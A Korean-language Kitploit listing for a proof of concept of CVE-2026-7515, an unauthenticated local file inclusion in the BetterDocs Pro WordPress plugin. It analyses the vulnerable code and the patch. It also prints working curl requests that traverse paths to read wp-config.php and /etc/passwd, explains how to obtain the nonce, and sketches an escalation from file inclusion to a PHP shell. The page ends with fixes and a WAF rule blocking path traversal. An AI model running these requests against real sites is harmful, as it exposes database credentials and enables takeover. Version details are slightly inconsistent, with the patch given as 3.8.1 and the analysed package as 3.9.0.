Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — 인증되지 않은 로컬 파일 포함 | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

인증되지 않은 로컬 파일 포함

저장소 보기
142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - 인증되지 않은 로컬 파일 포함

개요

필드값
CVE IDCVE-2026-7515
CVSS 점수9.8 (치명적)
CVSS 벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향 받는 버전BetterDocs Pro <= 3.8.0
패치된 버전3.8.1
연구자Nguyen Ngoc Duc (duc193)
게시일2026년 6월 18일
CWECWE-98: 파일 포함/요청문의 파일명 제어 부적절

취약점 설명

WordPress용 BetterDocs Pro 플러그인은 버전 3.8.0까지 doc_style 매개변수를 통해 로컬 파일 포함(Local File Inclusion) 에 취약합니다. 이를 통해 인증되지 않은 공격자가 서버에서 임의의 PHP 파일을 포함하고 실행할 수 있습니다.

오염 분석: 소스 → 싱크

소스 (사용자 입력)

파일: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 라인: 141

root@kitploit:~
// 취약 코드 (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

문제점: $_POST['doc_style']에서 가져온 사용자 제어 입력이 검증 없이 직접 사용됩니다.

싱크 (위험 함수)

파일: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 라인: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

문제점: $doc_style 변수(사용자 제어)가 views->get()에 전달되는 파일 경로에 직접 포함되어 파일을 포함합니다.

데이터 흐름

root@kitploit:~
HTTP POST 요청
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
검증 없음 (취약 버전 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
include() 또는 require()를 통한 파일 포함
        ↓
임의 PHP 코드 실행 / 파일 읽기

차이점: 취약 버전 vs 패치 버전

취약 버전 3.8.0

root@kitploit:~
// includes/Core/Encyclopedia.php의 141번째 줄
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

패치 버전 3.8.1

root@kitploit:~
// includes/Core/Encyclopedia.php의 145-148번째 줄
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

주요 차이점

측면취약 버전 (3.8.0)패치 버전 (3.8.1)
검증없음in_array()를 사용한 화이트리스트
허용 값모든 문자열doc-grid, doc-list, doc-list-2만
타입 검사없음엄격한 (===) 비교

영향 받는 AJAX 엔드포인트

두 엔드포인트 모두 nopriv 훅으로 등록되어 있어 인증되지 않은 사용자도 접근할 수 있습니다:

root@kitploit:~
// 17-18번째 줄
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// 20-21번째 줄
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

엔드포인트:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

개념 증명

전제 조건

  • 유효한 encyclopedia_nonce (BetterDocs Encyclopedia 블록이 렌더링된 페이지의 소스 코드에서 찾을 수 있음)

수동 익스플로잇

root@kitploit:~
# 1단계: wp-config.php 읽기
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# 2단계: /etc/passwd 읽기
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Nonce 찾기

encyclopedia_nonce는 BetterDocs Encyclopedia 블록이 렌더링된 페이지의 JavaScript에 노출됩니다:

root@kitploit:~
// betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- 이것이 필요합니다
};

LFI에서 RCE로 가는 경로

  1. wp-config.php 읽기 - 데이터베이스 자격 증명 추출
  2. PHP 셸 업로드 - WordPress 미디어 업로드 또는 테마 편집기를 통해
  3. 악성 파일 포함 - LFI 취약점을 통해
  4. 코드 실행 - 원격 코드 실행 획득

영향

영향 유형심각도설명
기밀성높음임의 파일 읽기 (wp-config.php, /etc/passwd 등)
무결성높음파일 수정 또는 삭제
가용성높음서비스 거부
접근 경로네트워크원격 익스플로잇 가능
권한없음인증 불필요
사용자 상호작용없음불필요

수정 방법

주요 수정

BetterDocs Pro 버전 3.8.1 이상으로 업데이트

수동 수정 (업데이트가 불가능한 경우)

includes/Core/Encyclopedia.php에 다음 패치를 적용하세요:

root@kitploit:~
// 141번째 줄을 다음으로 교체:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

236번째 줄에도 동일한 수정을 적용하세요.

WAF 규칙 (임시 완화)

doc_style 매개변수의 경로 탐색을 차단하는 규칙을 추가하세요:

root@kitploit:~
# doc_style의 경로 탐색 패턴 차단
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI 시도 차단됨'"

참고 자료

  • Wordfence Intelligence
  • BetterDocs 공식 사이트
  • CVE 세부 정보
  • WPVDB

분석된 파일

root@kitploit:~
취약 버전: betterdocs-pro_3.8.0.zip
패치 버전:   betterdocs-pro_3.9.0.zip

주요 파일:
- includes/Core/Encyclopedia.php    (취약)
- includes/Core/Scripts.php         (nonce 생성 포함)
- includes/Utils/Views.php          (파일 포함 로직)
도구 다운로드